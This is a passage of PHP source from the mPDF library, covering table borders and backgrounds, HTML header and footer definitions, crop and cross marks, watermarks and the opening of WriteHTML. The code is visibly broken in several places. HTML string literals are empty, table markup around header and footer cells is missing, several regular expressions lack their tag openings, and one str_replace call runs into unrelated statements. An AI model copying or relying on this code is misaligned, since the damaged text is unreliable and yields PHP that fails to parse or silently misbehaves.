$table['padding']['R'] + $table['border_details']['R']['w'] + $table['border_spacing_H']); $clx = $x + ($table['border_spacing_H'] / 2); $cly = $y + ($table['border_spacing_V'] / 2); $clw = $w - $table['border_spacing_H']; $clh = $h - $table['border_spacing_V']; // Set clipping path $s = $this->_setClippingPath($clx, $cly, $clw, $clh); // mPDF 6 $this->tableBackgrounds[$level * 9 + 5][] = ['x' => $gx + ($table['border_spacing_H'] / 2), 'y' => $gy + ($table['border_spacing_V'] / 2), 'w' => $gw - $table['border_spacing_V'], 'h' => $gh - $table['border_spacing_H'], 'image_id' => $image_id, 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $x_pos, 'y_pos' => $y_pos, 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'clippath' => $s, 'resize' => $resize, 'opacity' => $opacity, 'itype' => $itype]; } else { $this->tableBackgrounds[$level * 9 + 5][] = ['x' => $gx, 'y' => $gy, 'w' => $gw, 'h' => $gh, 'image_id' => $image_id, 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $x_pos, 'y_pos' => $y_pos, 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'clippath' => '', 'resize' => $resize, 'opacity' => $opacity, 'itype' => $itype]; } } } } /* -- END BACKGROUNDS -- */ // TABLE BORDER - if separate OR collapsed and only table border if (($table['borders_separate'] || ($this->simpleTables && !$table['simple']['border'])) && $table['border']) { $halfspaceL = $table['padding']['L'] + ($table['border_spacing_H'] / 2); $halfspaceR = $table['padding']['R'] + ($table['border_spacing_H'] / 2); $halfspaceT = $table['padding']['T'] + ($table['border_spacing_V'] / 2); $halfspaceB = $table['padding']['B'] + ($table['border_spacing_V'] / 2); $tbx = $x; $tby = $y; $tbw = $w; $tbh = $h; $tab_bord = 0; $corner = ''; if ($i == $firstrow && $horf == 'H') { // Top $tby -= $halfspaceT + ($table['border_details']['T']['w'] / 2); $tbh += $halfspaceT + ($table['border_details']['T']['w'] / 2); $this->setBorder($tab_bord, Border::TOP); $corner .= 'T'; } if (($i == ($lastrow) || (isset($tablehf['rowspan']) && ($i + $tablehf['rowspan']) == ($lastrow + 1))) && $horf == 'F') { // Bottom $tbh += $halfspaceB + ($table['border_details']['B']['w'] / 2); $this->setBorder($tab_bord, Border::BOTTOM); $corner .= 'B'; } if ($colctr == 1 && $firstSpread) { // Left $tbx -= $halfspaceL + ($table['border_details']['L']['w'] / 2); $tbw += $halfspaceL + ($table['border_details']['L']['w'] / 2); $this->setBorder($tab_bord, Border::LEFT); $corner .= 'L'; } if ($colctr == count($content[$i]) && $finalSpread) { // Right $tbw += $halfspaceR + ($table['border_details']['R']['w'] / 2); $this->setBorder($tab_bord, Border::RIGHT); $corner .= 'R'; } $this->_tableRect($tbx, $tby, $tbw, $tbh, $tab_bord, $table['border_details'], false, $table['borders_separate'], 'table', $corner, $table['border_spacing_V'], $table['border_spacing_H']); } }// end column $content $this->y = $y + $h; // Update y coordinate }// end row $i unset($table); $this->colsums = []; } } /* -- END TABLES -- */ function SetHTMLHeader($header = '', $OE = '', $write = false) { $height = 0; if (is_array($header) && isset($header['html']) && $header['html']) { $Hhtml = $header['html']; if ($this->setAutoTopMargin) { if (isset($header['h'])) { $height = $header['h']; } else { $height = $this->_getHtmlHeight($Hhtml); } } } elseif (!is_array($header) && $header) { $Hhtml = $header; if ($this->setAutoTopMargin) { $height = $this->_getHtmlHeight($Hhtml); } } else { $Hhtml = ''; } if ($OE !== 'E') { $OE = 'O'; } if ($OE === 'E') { if ($Hhtml) { $this->HTMLHeaderE = []; $this->HTMLHeaderE['html'] = $Hhtml; $this->HTMLHeaderE['h'] = $height; } else { $this->HTMLHeaderE = ''; } } else { if ($Hhtml) { $this->HTMLHeader = []; $this->HTMLHeader['html'] = $Hhtml; $this->HTMLHeader['h'] = $height; } else { $this->HTMLHeader = ''; } } if (!$this->mirrorMargins && $OE == 'E') { return; } if ($Hhtml == '') { return; } if ($this->setAutoTopMargin == 'pad') { $this->tMargin = $this->margin_header + $height + $this->orig_tMargin; if (isset($this->saveHTMLHeader[$this->page][$OE]['mt'])) { $this->saveHTMLHeader[$this->page][$OE]['mt'] = $this->tMargin; } } elseif ($this->setAutoTopMargin == 'stretch') { $this->tMargin = max($this->orig_tMargin, $this->margin_header + $height + $this->autoMarginPadding); if (isset($this->saveHTMLHeader[$this->page][$OE]['mt'])) { $this->saveHTMLHeader[$this->page][$OE]['mt'] = $this->tMargin; } } if ($write && $this->state != 0 && (($this->mirrorMargins && $OE == 'E' && ($this->page) % 2 == 0) || ($this->mirrorMargins && $OE != 'E' && ($this->page) % 2 == 1) || !$this->mirrorMargins)) { $this->writeHTMLHeaders(); } } function SetHTMLFooter($footer = '', $OE = '') { $height = 0; if (is_array($footer) && isset($footer['html']) && $footer['html']) { $Fhtml = $footer['html']; if ($this->setAutoBottomMargin) { if (isset($footer['h'])) { $height = $footer['h']; } else { $height = $this->_getHtmlHeight($Fhtml); } } } elseif (!is_array($footer) && $footer) { $Fhtml = $footer; if ($this->setAutoBottomMargin) { $height = $this->_getHtmlHeight($Fhtml); } } else { $Fhtml = ''; } if ($OE !== 'E') { $OE = 'O'; } if ($OE === 'E') { if ($Fhtml) { $this->HTMLFooterE = []; $this->HTMLFooterE['html'] = $Fhtml; $this->HTMLFooterE['h'] = $height; } else { $this->HTMLFooterE = ''; } } else { if ($Fhtml) { $this->HTMLFooter = []; $this->HTMLFooter['html'] = $Fhtml; $this->HTMLFooter['h'] = $height; } else { $this->HTMLFooter = ''; } } if (!$this->mirrorMargins && $OE == 'E') { return; } if ($Fhtml == '') { return false; } if ($this->setAutoBottomMargin == 'pad') { $this->bMargin = $this->margin_footer + $height + $this->orig_bMargin; $this->PageBreakTrigger = $this->h - $this->bMargin; if (isset($this->saveHTMLHeader[$this->page][$OE]['mb'])) { $this->saveHTMLHeader[$this->page][$OE]['mb'] = $this->bMargin; } } elseif ($this->setAutoBottomMargin == 'stretch') { $this->bMargin = max($this->orig_bMargin, $this->margin_footer + $height + $this->autoMarginPadding); $this->PageBreakTrigger = $this->h - $this->bMargin; if (isset($this->saveHTMLHeader[$this->page][$OE]['mb'])) { $this->saveHTMLHeader[$this->page][$OE]['mb'] = $this->bMargin; } } } function _getHtmlHeight($html) { $save_state = $this->state; if ($this->state == 0) { $this->AddPage($this->CurOrientation); } $this->state = 2; $this->Reset(); $this->pageoutput[$this->page] = []; $save_x = $this->x; $save_y = $this->y; $this->x = $this->lMargin; $this->y = $this->margin_header; $html = str_replace('{PAGENO}', $this->pagenumPrefix . $this->docPageNum($this->page) . $this->pagenumSuffix, $html); $html = str_replace($this->aliasNbPgGp, $this->nbpgPrefix . $this->docPageNumTotal($this->page) . $this->nbpgSuffix, $html); $html = str_replace($this->aliasNbPg, $this->page, $html); $html = preg_replace_callback('/\{DATE\s+(.*?)\}/', [$this, 'date_callback'], $html); // mPDF 5.7 $this->HTMLheaderPageLinks = []; $this->HTMLheaderPageAnnots = []; $this->HTMLheaderPageForms = []; $savepb = $this->pageBackgrounds; $this->writingHTMLheader = true; $this->WriteHTML($html, HTMLParserMode::HTML_HEADER_BUFFER); $this->writingHTMLheader = false; $h = ($this->y - $this->margin_header); $this->Reset(); // mPDF 5.7.2 - Clear in case Float used in Header/Footer $this->blk[0]['blockContext'] = 0; $this->blk[0]['float_endpos'] = 0; $this->pageoutput[$this->page] = []; $this->headerbuffer = ''; $this->pageBackgrounds = $savepb; $this->x = $save_x; $this->y = $save_y; $this->state = $save_state; if ($save_state == 0) { unset($this->pages[1]); $this->page = 0; } return $h; } // Called internally from Header function writeHTMLHeaders() { if ($this->mirrorMargins && ($this->page) % 2 == 0) { $OE = 'E'; } else { $OE = 'O'; } if ($OE === 'E') { $this->saveHTMLHeader[$this->page][$OE]['html'] = $this->HTMLHeaderE['html']; } else { $this->saveHTMLHeader[$this->page][$OE]['html'] = $this->HTMLHeader['html']; } if ($this->forcePortraitHeaders && $this->CurOrientation == 'L' && $this->CurOrientation != $this->DefOrientation) { $this->saveHTMLHeader[$this->page][$OE]['rotate'] = true; $this->saveHTMLHeader[$this->page][$OE]['ml'] = $this->tMargin; $this->saveHTMLHeader[$this->page][$OE]['mr'] = $this->bMargin; $this->saveHTMLHeader[$this->page][$OE]['mh'] = $this->margin_header; $this->saveHTMLHeader[$this->page][$OE]['mf'] = $this->margin_footer; $this->saveHTMLHeader[$this->page][$OE]['pw'] = $this->h; $this->saveHTMLHeader[$this->page][$OE]['ph'] = $this->w; } else { $this->saveHTMLHeader[$this->page][$OE]['ml'] = $this->lMargin; $this->saveHTMLHeader[$this->page][$OE]['mr'] = $this->rMargin; $this->saveHTMLHeader[$this->page][$OE]['mh'] = $this->margin_header; $this->saveHTMLHeader[$this->page][$OE]['mf'] = $this->margin_footer; $this->saveHTMLHeader[$this->page][$OE]['pw'] = $this->w; $this->saveHTMLHeader[$this->page][$OE]['ph'] = $this->h; } } function writeHTMLFooters() { if ($this->mirrorMargins && ($this->page) % 2 == 0) { $OE = 'E'; } else { $OE = 'O'; } if ($OE === 'E') { $this->saveHTMLFooter[$this->page][$OE]['html'] = $this->HTMLFooterE['html']; } else { $this->saveHTMLFooter[$this->page][$OE]['html'] = $this->HTMLFooter['html']; } if ($this->forcePortraitHeaders && $this->CurOrientation == 'L' && $this->CurOrientation != $this->DefOrientation) { $this->saveHTMLFooter[$this->page][$OE]['rotate'] = true; $this->saveHTMLFooter[$this->page][$OE]['ml'] = $this->tMargin; $this->saveHTMLFooter[$this->page][$OE]['mr'] = $this->bMargin; $this->saveHTMLFooter[$this->page][$OE]['mt'] = $this->rMargin; $this->saveHTMLFooter[$this->page][$OE]['mb'] = $this->lMargin; $this->saveHTMLFooter[$this->page][$OE]['mh'] = $this->margin_header; $this->saveHTMLFooter[$this->page][$OE]['mf'] = $this->margin_footer; $this->saveHTMLFooter[$this->page][$OE]['pw'] = $this->h; $this->saveHTMLFooter[$this->page][$OE]['ph'] = $this->w; } else { $this->saveHTMLFooter[$this->page][$OE]['ml'] = $this->lMargin; $this->saveHTMLFooter[$this->page][$OE]['mr'] = $this->rMargin; $this->saveHTMLFooter[$this->page][$OE]['mt'] = $this->tMargin; $this->saveHTMLFooter[$this->page][$OE]['mb'] = $this->bMargin; $this->saveHTMLFooter[$this->page][$OE]['mh'] = $this->margin_header; $this->saveHTMLFooter[$this->page][$OE]['mf'] = $this->margin_footer; $this->saveHTMLFooter[$this->page][$OE]['pw'] = $this->w; $this->saveHTMLFooter[$this->page][$OE]['ph'] = $this->h; } } // mPDF 6 function _shareHeaderFooterWidth($cl, $cc, $cr) { // mPDF 6 $l = mb_strlen($cl, 'UTF-8'); $c = mb_strlen($cc, 'UTF-8'); $r = mb_strlen($cr, 'UTF-8'); $s = max($l, $r); $tw = $c + 2 * $s; if ($tw > 0) { return [intval($s * 100 / $tw), intval($c * 100 / $tw), intval($s * 100 / $tw)]; } else { return [33, 33, 33]; } } // mPDF 6 // Create an HTML header/footer from array (non-HTML header/footer) function _createHTMLheaderFooter($arr, $hf) { $lContent = (isset($arr['L']['content']) ? $arr['L']['content'] : ''); $cContent = (isset($arr['C']['content']) ? $arr['C']['content'] : ''); $rContent = (isset($arr['R']['content']) ? $arr['R']['content'] : ''); list($lw, $cw, $rw) = $this->_shareHeaderFooterWidth($lContent, $cContent, $rContent); if ($hf == 'H') { $valign = 'bottom'; $vpadding = '0 0 ' . $this->header_line_spacing . 'em 0'; } else { $valign = 'top'; $vpadding = '' . $this->footer_line_spacing . 'em 0 0 0'; } if ($this->directionality == 'rtl') { // table columns get reversed so need different text-alignment $talignL = 'right'; $talignR = 'left'; } else { $talignL = 'left'; $talignR = 'right'; } $html = ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
' . $lContent . '' . $cContent . '' . $rContent . '
'; return $html; } function DefHeaderByName($name, $arr) { if (!$name) { $name = '_nonhtmldefault'; } $html = $this->_createHTMLheaderFooter($arr, 'H'); $this->pageHTMLheaders[$name]['html'] = $html; $this->pageHTMLheaders[$name]['h'] = $this->_getHtmlHeight($html); } function DefFooterByName($name, $arr) { if (!$name) { $name = '_nonhtmldefault'; } $html = $this->_createHTMLheaderFooter($arr, 'F'); $this->pageHTMLfooters[$name]['html'] = $html; $this->pageHTMLfooters[$name]['h'] = $this->_getHtmlHeight($html); } function SetHeaderByName($name, $side = 'O', $write = false) { if (!$name) { $name = '_nonhtmldefault'; } $this->SetHTMLHeader($this->pageHTMLheaders[$name], $side, $write); } function SetFooterByName($name, $side = 'O') { if (!$name) { $name = '_nonhtmldefault'; } $this->SetHTMLFooter($this->pageHTMLfooters[$name], $side); } function DefHTMLHeaderByName($name, $html) { if (!$name) { $name = '_default'; } $this->pageHTMLheaders[$name]['html'] = $html; $this->pageHTMLheaders[$name]['h'] = $this->_getHtmlHeight($html); } function DefHTMLFooterByName($name, $html) { if (!$name) { $name = '_default'; } $this->pageHTMLfooters[$name]['html'] = $html; $this->pageHTMLfooters[$name]['h'] = $this->_getHtmlHeight($html); } function SetHTMLHeaderByName($name, $side = 'O', $write = false) { if (!$name) { $name = '_default'; } $this->SetHTMLHeader($this->pageHTMLheaders[$name], $side, $write); } function SetHTMLFooterByName($name, $side = 'O') { if (!$name) { $name = '_default'; } $this->SetHTMLFooter($this->pageHTMLfooters[$name], $side); } function SetHeader($Harray = [], $side = '', $write = false) { $oddhtml = ''; $evenhtml = ''; if (is_string($Harray)) { if (strlen($Harray) === 0) { $oddhtml = ''; $evenhtml = ''; } elseif (strpos($Harray, '|') !== false) { $hdet = explode('|', $Harray); list($lw, $cw, $rw) = $this->_shareHeaderFooterWidth($hdet[0], $hdet[1], $hdet[2]); $oddhtml = ''; $oddhtml .= ''; $oddhtml .= ''; $oddhtml .= ''; $oddhtml .= ''; $oddhtml .= '
' . $hdet[0] . '' . $hdet[1] . '' . $hdet[2] . '
'; $evenhtml = ''; $evenhtml .= ''; $evenhtml .= ''; $evenhtml .= ''; $evenhtml .= ''; $evenhtml .= '
' . $hdet[2] . '' . $hdet[1] . '' . $hdet[0] . '
'; } else { $oddhtml = '
' . $Harray . '
'; $evenhtml = '
' . $Harray . '
'; } } elseif (is_array($Harray) && !empty($Harray)) { $odd = null; $even = null; if ($side === 'O') { $odd = $Harray; } elseif ($side === 'E') { $even = $Harray; } else { $odd = Arrays::get($Harray, 'odd', null); $even = Arrays::get($Harray, 'even', null); } $oddhtml = $this->_createHTMLheaderFooter($odd, 'H'); $evenhtml = $this->_createHTMLheaderFooter($even, 'H'); } if ($side === 'E') { $this->SetHTMLHeader($evenhtml, 'E', $write); } elseif ($side === 'O') { $this->SetHTMLHeader($oddhtml, 'O', $write); } else { $this->SetHTMLHeader($oddhtml, 'O', $write); $this->SetHTMLHeader($evenhtml, 'E', $write); } } function SetFooter($Farray = [], $side = '') { $oddhtml = ''; $evenhtml = ''; if (is_string($Farray)) { if (strlen($Farray) == 0) { $oddhtml = ''; $evenhtml = ''; } elseif (strpos($Farray, '|') !== false) { $hdet = explode('|', $Farray); $oddhtml = ''; $oddhtml .= ''; $oddhtml .= ''; $oddhtml .= ''; $oddhtml .= ''; $oddhtml .= '
' . $hdet[0] . '' . $hdet[1] . '' . $hdet[2] . '
'; $evenhtml = ''; $evenhtml .= ''; $evenhtml .= ''; $evenhtml .= ''; $evenhtml .= ''; $evenhtml .= '
' . $hdet[2] . '' . $hdet[1] . '' . $hdet[0] . '
'; } else { $oddhtml = '
' . $Farray . '
'; $evenhtml = '
' . $Farray . '
'; } } elseif (is_array($Farray)) { $odd = null; $even = null; if ($side === 'O') { $odd = $Farray; } elseif ($side == 'E') { $even = $Farray; } else { $odd = Arrays::get($Farray, 'odd', null); $even = Arrays::get($Farray, 'even', null); } $oddhtml = $this->_createHTMLheaderFooter($odd, 'F'); $evenhtml = $this->_createHTMLheaderFooter($even, 'F'); } if ($side === 'E') { $this->SetHTMLFooter($evenhtml, 'E'); } elseif ($side === 'O') { $this->SetHTMLFooter($oddhtml, 'O'); } else { $this->SetHTMLFooter($oddhtml, 'O'); $this->SetHTMLFooter($evenhtml, 'E'); } } /* -- WATERMARK -- */ function SetWatermarkText($txt = '', $alpha = -1) { if ($alpha >= 0) { $this->watermarkTextAlpha = $alpha; } $this->watermarkText = $txt; } function SetWatermarkImage($src, $alpha = -1, $size = 'D', $pos = 'F') { if ($alpha >= 0) { $this->watermarkImageAlpha = $alpha; } $this->watermarkImage = $src; $this->watermark_size = $size; $this->watermark_pos = $pos; } /* -- END WATERMARK -- */ // Page footer function Footer() { /* -- CSS-PAGE -- */ // PAGED MEDIA - CROP / CROSS MARKS from @PAGE if ($this->show_marks == 'CROP' || $this->show_marks == 'CROPCROSS') { // Show TICK MARKS $this->SetLineWidth(0.1); // = 0.1 mm $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $l = $this->cropMarkLength; $m = $this->cropMarkMargin; // Distance of crop mark from margin $b = $this->nonPrintMargin; // Non-printable border at edge of paper sheet $ax1 = $b; $bx = $this->page_box['outer_width_LR'] - $m; $ax = max($ax1, $bx - $l); $cx1 = $this->w - $b; $dx = $this->w - $this->page_box['outer_width_LR'] + $m; $cx = min($cx1, $dx + $l); $ay1 = $b; $by = $this->page_box['outer_width_TB'] - $m; $ay = max($ay1, $by - $l); $cy1 = $this->h - $b; $dy = $this->h - $this->page_box['outer_width_TB'] + $m; $cy = min($cy1, $dy + $l); $this->Line($ax, $this->page_box['outer_width_TB'], $bx, $this->page_box['outer_width_TB']); $this->Line($cx, $this->page_box['outer_width_TB'], $dx, $this->page_box['outer_width_TB']); $this->Line($ax, $this->h - $this->page_box['outer_width_TB'], $bx, $this->h - $this->page_box['outer_width_TB']); $this->Line($cx, $this->h - $this->page_box['outer_width_TB'], $dx, $this->h - $this->page_box['outer_width_TB']); $this->Line($this->page_box['outer_width_LR'], $ay, $this->page_box['outer_width_LR'], $by); $this->Line($this->page_box['outer_width_LR'], $cy, $this->page_box['outer_width_LR'], $dy); $this->Line($this->w - $this->page_box['outer_width_LR'], $ay, $this->w - $this->page_box['outer_width_LR'], $by); $this->Line($this->w - $this->page_box['outer_width_LR'], $cy, $this->w - $this->page_box['outer_width_LR'], $dy); if ($this->printers_info) { $hd = date('Y-m-d H:i') . ' Page ' . $this->page . ' of {nb}'; $this->SetTColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetFont('arial', '', 7.5, true, true); $this->x = $this->page_box['outer_width_LR'] + 1.5; $this->y = 1; $this->Cell($headerpgwidth, $this->FontSize, $hd, 0, 0, 'L', 0, '', 0, 0, 0, 'M'); $this->SetFont($this->default_font, '', $this->original_default_font_size); } } if ($this->show_marks == 'CROSS' || $this->show_marks == 'CROPCROSS') { $this->SetLineWidth(0.1); // = 0.1 mm $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $l = 14 / 2; // longer length of the cross line (half) $w = 6 / 2; // shorter width of the cross line (half) $r = 1.2; // radius of circle $m = $this->crossMarkMargin; // Distance of cross mark from margin $x1 = $this->page_box['outer_width_LR'] - $m; $x2 = $this->w - $this->page_box['outer_width_LR'] + $m; $y1 = $this->page_box['outer_width_TB'] - $m; $y2 = $this->h - $this->page_box['outer_width_TB'] + $m; // Left $this->Circle($x1, $this->h / 2, $r, 'S'); $this->Line($x1 - $w, $this->h / 2, $x1 + $w, $this->h / 2); $this->Line($x1, $this->h / 2 - $l, $x1, $this->h / 2 + $l); // Right $this->Circle($x2, $this->h / 2, $r, 'S'); $this->Line($x2 - $w, $this->h / 2, $x2 + $w, $this->h / 2); $this->Line($x2, $this->h / 2 - $l, $x2, $this->h / 2 + $l); // Top $this->Circle($this->w / 2, $y1, $r, 'S'); $this->Line($this->w / 2, $y1 - $w, $this->w / 2, $y1 + $w); $this->Line($this->w / 2 - $l, $y1, $this->w / 2 + $l, $y1); // Bottom $this->Circle($this->w / 2, $y2, $r, 'S'); $this->Line($this->w / 2, $y2 - $w, $this->w / 2, $y2 + $w); $this->Line($this->w / 2 - $l, $y2, $this->w / 2 + $l, $y2); } /* -- END CSS-PAGE -- */ // mPDF 6 // If @page set non-HTML headers/footers named, they were not read until later in the HTML code - so now set them if ($this->page == 1) { if ($this->firstPageBoxHeader) { if (isset($this->pageHTMLheaders[$this->firstPageBoxHeader])) { $this->HTMLHeader = $this->pageHTMLheaders[$this->firstPageBoxHeader]; } $this->Header(); } if ($this->firstPageBoxFooter) { if (isset($this->pageHTMLfooters[$this->firstPageBoxFooter])) { $this->HTMLFooter = $this->pageHTMLfooters[$this->firstPageBoxFooter]; } } $this->firstPageBoxHeader = ''; $this->firstPageBoxFooter = ''; } if (($this->mirrorMargins && ($this->page % 2 == 0) && $this->HTMLFooterE) || ($this->mirrorMargins && ($this->page % 2 == 1) && $this->HTMLFooter) || (!$this->mirrorMargins && $this->HTMLFooter)) { $this->writeHTMLFooters(); } /* -- WATERMARK -- */ if (($this->watermarkText) && ($this->showWatermarkText)) { $this->watermark($this->watermarkText, $this->watermarkAngle, 120, $this->watermarkTextAlpha); // Watermark text } if (($this->watermarkImage) && ($this->showWatermarkImage)) { $this->watermarkImg($this->watermarkImage, $this->watermarkImageAlpha); // Watermark image } /* -- END WATERMARK -- */ } /* -- HTML-CSS -- */ /** * Write HTML code to the document * * Also used internally to parse HTML into buffers * * @param string $html * @param int $mode Use HTMLParserMode constants. Controls what parts of the $html code is parsed. * @param bool $init Clears and sets buffers to Top level block etc. * @param bool $close If false leaves buffers etc. in current state, so that it can continue a block etc. */ function WriteHTML($html, $mode = HTMLParserMode::DEFAULT_MODE, $init = true, $close = true) { /* Check $html is an integer, float, string, boolean or class with __toString(), otherwise throw exception */ if (is_scalar($html) === false) { if (!is_object($html) || ! method_exists($html, '__toString')) { throw new \Mpdf\MpdfException('WriteHTML() requires $html be an integer, float, string, boolean or an object with the __toString() magic method.'); } } // Check the mode is valid if (in_array($mode, HTMLParserMode::getAllModes(), true) === false) { throw new \Mpdf\MpdfException('WriteHTML() requires $mode to be one of the modes defined in HTMLParserMode'); } /* Cast $html as a string */ $html = (string) $html; // @log Parsing CSS & Headers if ($init) { $this->headerbuffer = ''; $this->textbuffer = []; $this->fixedPosBlockSave = []; } if ($mode === HTMLParserMode::HEADER_CSS) { $html = ''; } // stylesheet only if ($this->allow_charset_conversion) { if ($mode === HTMLParserMode::DEFAULT_MODE) { $this->ReadCharset($html); } if ($this->charset_in && $mode !== HTMLParserMode::HTML_HEADER_BUFFER) { $success = iconv($this->charset_in, 'UTF-8//TRANSLIT', $html); if ($success) { $html = $success; } } } $html = $this->purify_utf8($html, false); if ($init) { $this->blklvl = 0; $this->lastblocklevelchange = 0; $this->blk = []; $this->initialiseBlock($this->blk[0]); $this->blk[0]['width'] = & $this->pgwidth; $this->blk[0]['inner_width'] = & $this->pgwidth; $this->blk[0]['blockContext'] = $this->blockContext; } $zproperties = []; if ($mode === HTMLParserMode::DEFAULT_MODE || $mode === HTMLParserMode::HEADER_CSS) { $this->ReadMetaTags($html); if (preg_match('/]*href=["\']([^"\'>]*)["\']/i', $html, $m)) { $this->SetBasePath($m[1]); } $html = $this->cssManager->ReadCSS($html); if ($this->autoLangToFont && !$this->usingCoreFont && preg_match('/]*lang=[\'\"](.*?)[\'\"]/ism', $html, $m)) { $html_lang = $m[1]; } if (preg_match('/]*dir=[\'\"]\s*rtl\s*[\'\"]/ism', $html)) { $zproperties['DIRECTION'] = 'rtl'; } // allow in-line CSS for body tag to be parsed // Get tag inline CSS if (preg_match('/]*)>(.*?)<\/body>/ism', $html, $m) || preg_match('/]*)>(.*)$/ism', $html, $m)) { $html = $m[2]; // Changed to allow style="background: url('bg.jpg')" if (preg_match('/style=[\"](.*?)[\"]/ism', $m[1], $mm) || preg_match('/style=[\'](.*?)[\']/ism', $m[1], $mm)) { $zproperties = $this->cssManager->readInlineCSS($mm[1]); } if (preg_match('/dir=[\'\"]\s*rtl\s*[\'\"]/ism', $m[1])) { $zproperties['DIRECTION'] = 'rtl'; } if (isset($html_lang) && $html_lang) { $zproperties['LANG'] = $html_lang; } if ($this->autoLangToFont && !$this->onlyCoreFonts && preg_match('/lang=[\'\"](.*?)[\'\"]/ism', $m[1], $mm)) { $zproperties['LANG'] = $mm[1]; } } } $properties = $this->cssManager->MergeCSS('BLOCK', 'BODY', ''); if ($zproperties) { $properties = $this->cssManager->array_merge_recursive_unique($properties, $zproperties); } if (isset($properties['DIRECTION']) && $properties['DIRECTION']) { $this->cssManager->CSS['BODY']['DIRECTION'] = $properties['DIRECTION']; } if (!isset($this->cssManager->CSS['BODY']['DIRECTION'])) { $this->cssManager->CSS['BODY']['DIRECTION'] = $this->directionality; } else { $this->SetDirectionality($this->cssManager->CSS['BODY']['DIRECTION']); } $this->setCSS($properties, '', 'BODY'); $this->blk[0]['InlineProperties'] = $this->saveInlineProperties(); if ($mode === HTMLParserMode::HEADER_CSS) { return ''; } if (!isset($this->cssManager->CSS['BODY'])) { $this->cssManager->CSS['BODY'] = []; } /* -- BACKGROUNDS -- */ if (isset($properties['BACKGROUND-GRADIENT'])) { $this->bodyBackgroundGradient = $properties['BACKGROUND-GRADIENT']; } if (isset($properties['BACKGROUND-IMAGE']) && $properties['BACKGROUND-IMAGE']) { $ret = $this->SetBackground($properties, $this->pgwidth); if ($ret) { $this->bodyBackgroundImage = $ret; } } /* -- END BACKGROUNDS -- */ /* -- CSS-PAGE -- */ // If page-box is set if ($this->state == 0 && ((isset($this->cssManager->CSS['@PAGE']) && $this->cssManager->CSS['@PAGE']) || (isset($this->cssManager->CSS['@PAGE>>PSEUDO>>FIRST']) && $this->cssManager->CSS['@PAGE>>PSEUDO>>FIRST']))) { // mPDF 5.7.3 $this->page_box['current'] = ''; $this->page_box['using'] = true; list($pborientation, $pbmgl, $pbmgr, $pbmgt, $pbmgb, $pbmgh, $pbmgf, $hname, $fname, $bg, $resetpagenum, $pagenumstyle, $suppress, $marks, $newformat) = $this->SetPagedMediaCSS('', false, 'O'); $this->DefOrientation = $this->CurOrientation = $pborientation; $this->orig_lMargin = $this->DeflMargin = $pbmgl; $this->orig_rMargin = $this->DefrMargin = $pbmgr; $this->orig_tMargin = $this->tMargin = $pbmgt; $this->orig_bMargin = $this->bMargin = $pbmgb; $this->orig_hMargin = $this->margin_header = $pbmgh; $this->orig_fMargin = $this->margin_footer = $pbmgf; list($pborientation, $pbmgl, $pbmgr, $pbmgt, $pbmgb, $pbmgh, $pbmgf, $hname, $fname, $bg, $resetpagenum, $pagenumstyle, $suppress, $marks, $newformat) = $this->SetPagedMediaCSS('', true, 'O'); // first page $this->show_marks = $marks; if ($hname) { $this->firstPageBoxHeader = $hname; } if ($fname) { $this->firstPageBoxFooter = $fname; } } /* -- END CSS-PAGE -- */ $parseonly = false; $this->bufferoutput = false; if ($mode == HTMLParserMode::HTML_PARSE_NO_WRITE) { $parseonly = true; // Close any open block tags $arr = []; $ai = 0; for ($b = $this->blklvl; $b > 0; $b--) { $this->tag->CloseTag($this->blk[$b]['tag'], $arr, $ai); } // Output any text left in buffer if (count($this->textbuffer)) { $this->printbuffer($this->textbuffer); } $this->textbuffer = []; } elseif ($mode === HTMLParserMode::HTML_HEADER_BUFFER) { // Close any open block tags $arr = []; $ai = 0; for ($b = $this->blklvl; $b > 0; $b--) { $this->tag->CloseTag($this->blk[$b]['tag'], $arr, $ai); } // Output any text left in buffer if (count($this->textbuffer)) { $this->printbuffer($this->textbuffer); } $this->bufferoutput = true; $this->textbuffer = []; $this->headerbuffer = ''; $properties = $this->cssManager->MergeCSS('BLOCK', 'BODY', ''); $this->setCSS($properties, '', 'BODY'); } mb_internal_encoding('UTF-8'); $html = $this->AdjustHTML($html, $this->tabSpaces); // Try to make HTML look more like XHTML if ($this->autoScriptToLang) { $html = $this->markScriptToLang($html); } preg_match_all('/]*)>(.*?)<\/htmlpageheader>/si', $html, $h); for ($i = 0; $i < count($h[1]); $i++) { if (preg_match('/name=[\'|\"](.*?)[\'|\"]/', $h[1][$i], $n)) { $this->pageHTMLheaders[$n[1]]['html'] = $h[2][$i]; $this->pageHTMLheaders[$n[1]]['h'] = $this->_getHtmlHeight($h[2][$i]); } } preg_match_all('/]*)>(.*?)<\/htmlpagefooter>/si', $html, $f); for ($i = 0; $i < count($f[1]); $i++) { if (preg_match('/name=[\'|\"](.*?)[\'|\"]/', $f[1][$i], $n)) { $this->pageHTMLfooters[$n[1]]['html'] = $f[2][$i]; $this->pageHTMLfooters[$n[1]]['h'] = $this->_getHtmlHeight($f[2][$i]); } } $html = preg_replace('//si', '', $html); $html = preg_replace('//si', '', $html); if ($this->state == 0 && ($mode === HTMLParserMode::DEFAULT_MODE || $mode === HTMLParserMode::HTML_BODY)) { $this->AddPage($this->CurOrientation); } if (isset($hname) && preg_match('/^html_(.*)$/i', $hname, $n)) { $this->SetHTMLHeader($this->pageHTMLheaders[$n[1]], 'O', true); } if (isset($fname) && preg_match('/^html_(.*)$/i', $fname, $n)) { $this->SetHTMLFooter($this->pageHTMLfooters[$n[1]], 'O'); } $html = str_replace('checkSIP = false; $this->checkSMP = false; $this->checkCJK = false; if ($this->onlyCoreFonts) { $html = $this->SubstituteChars($html); } else { if (preg_match("/([" . $this->pregRTLchars . "])/u", $html)) { $this->biDirectional = true; } // *OTL* if (preg_match("/([\x{20000}-\x{2FFFF}])/u", $html)) { $this->checkSIP = true; } if (preg_match("/([\x{10000}-\x{1FFFF}])/u", $html)) { $this->checkSMP = true; } /* -- CJK-FONTS -- */ if (preg_match("/([" . $this->pregCJKchars . "])/u", $html)) { $this->checkCJK = true; } /* -- END CJK-FONTS -- */ } // Don't allow non-breaking spaces that are converted to substituted chars or will break anyway and mess up table width calc. $html = str_replace('160', chr(32), 